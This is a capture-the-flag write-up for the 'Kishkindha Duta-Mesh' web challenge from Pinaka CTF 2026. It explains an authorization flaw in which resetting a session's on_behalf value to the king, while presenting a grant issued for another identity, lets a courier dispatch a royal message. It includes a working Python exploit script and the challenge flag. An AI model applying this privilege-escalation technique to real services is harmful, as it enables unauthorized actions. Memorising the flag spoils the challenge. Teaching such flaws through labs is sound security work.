Web Exploitation / Pinaka CTF 2026
Kishkindha Duta-Mesh
Combine a mutable session principal with a grant for another identity to dispatch a royal message as an ordinary courier.
Goal
Dispatch the royal war-writ through the JSON messenger relay at http://130.210.48.10:9006 while starting as an ordinary courier.
Reconnaissance
GET / listed the relay endpoints. GET /court/principals showed that sugriva is the only principal with royal rank. POST /court/open with {} returned a session token, session ID, session key, and a signed self-grant for the courier to relay on behalf of guild.
The session token belongs in the JSON request body. For example, GET /court/session with {"session_token":"<token>"} returned the courier's current on_behalf value. The open response also specified the dispatch seal:
base64url(HMAC-SHA256(session_key, sid + "|" + SHA256(scroll).hexdigest()))Exploit
The POST /court/reseal endpoint accepted an on_behalf value without a delegation grant. Sending the existing session token with "on_behalf":"sugriva" changed the session's claimed principal to the king.
I then computed a seal for the scroll war-writ using the session key and ID from /court/open, and sent it to POST /court/dispatch with the original guild self-grant:
{
"session_token": "<token from /court/open>",
"scroll": "war-writ",
"seal": "<computed seal>",
"grant": "<self_grant from /court/open>"
}The relay returned acting_principal: "sugriva" and result: "sealed", even though its audit attributed the grant to guild. The authorization check used the mutable session principal for royal rank while accepting a valid grant for a different principal. This mismatch let a guild courier dispatch the war-writ.
Reproduce
import base64
import hashlib
import hmac
import json
from urllib.request import Request, urlopen
BASE = "http://130.210.48.10:9006"
def post(path, data):
body = json.dumps(data).encode()
request = Request(BASE + path, body, {"Content-Type": "application/json"})
with urlopen(request) as response:
return json.load(response)
session = post("/court/open", {})
post("/court/reseal", {
"session_token": session["session_token"],
"on_behalf": "sugriva",
})
scroll = "war-writ"
digest = hashlib.sha256(scroll.encode()).hexdigest()
message = (session["sid"] + "|" + digest).encode()
mac = hmac.new(bytes.fromhex(session["session_key"]), message, hashlib.sha256).digest()
seal = base64.urlsafe_b64encode(mac).rstrip(b"=").decode()
result = post("/court/dispatch", {
"session_token": session["session_token"],
"scroll": scroll,
"seal": seal,
"grant": session["self_grant"],
})
print(result)Flag
PINAKA{kishkindha_the_exile_meets_the_outcast_king}